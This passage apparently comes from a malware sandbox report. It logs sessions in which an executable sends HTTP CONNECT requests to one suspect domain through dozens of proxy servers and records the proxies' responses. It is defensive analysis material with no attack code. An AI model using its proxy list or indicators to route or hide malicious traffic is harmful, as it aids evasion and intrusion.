Mar 11, 2024 15:21:20.496093988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1414	192.168.2.9	54551	45.120.178.197	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.896593094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1415	192.168.2.9	54501	47.243.177.210	8088	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.899174929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.637892962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1416	192.168.2.9	54525	203.218.172.225	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.899421930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1417	192.168.2.9	54521	222.255.238.159	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.944447041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.272145033 CET	506	IN	HTTP/1.1 302 Found Date: Mon, 11 Mar 2024 14:21:09 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 314 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1418	192.168.2.9	54716	31.43.179.214	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.947489977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.102025986 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1419	192.168.2.9	54545	193.239.58.92	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.947490931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1420	192.168.2.9	54504	185.217.143.23	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.947750092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1421	192.168.2.9	54598	221.153.92.39	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.947753906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1422	192.168.2.9	53908	58.20.21.230	2323	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.948704004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.360260963 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1423	192.168.2.9	49831	37.187.77.58	10710	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.948926926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1424	192.168.2.9	54624	80.169.243.234	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.949147940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.637897968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1425	192.168.2.9	54524	113.64.23.221	32650	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.949482918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.750109911 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1426	192.168.2.9	54736	104.21.6.88	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.949934006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.103998899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1427	192.168.2.9	54568	1.15.62.12	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.950031042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1428	192.168.2.9	54205	185.225.232.191	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.950036049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.686115026 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:09 GMT Server: Apache/2.4.57 (Debian) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Debian) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1429	192.168.2.9	53920	185.89.156.130	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.951148987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1430	192.168.2.9	54762	104.20.89.77	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.951951027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.106026888 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1431	192.168.2.9	53918	45.239.30.1	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.951951027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.090823889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.200556993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.200412989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.134207010 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1432	192.168.2.9	54765	104.17.84.150	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.952822924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.108119965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1433	192.168.2.9	54638	13.38.176.104	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.952836990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.250972986 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1434	192.168.2.9	54702	157.185.165.110	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.953629971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1435	192.168.2.9	54590	103.166.141.74	20074	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.953633070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1436	192.168.2.9	54004	209.126.104.38	40750	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.953915119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.090728998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.200556993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.200412989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.203263998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1437	192.168.2.9	54604	221.151.181.101	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.954116106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700279951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
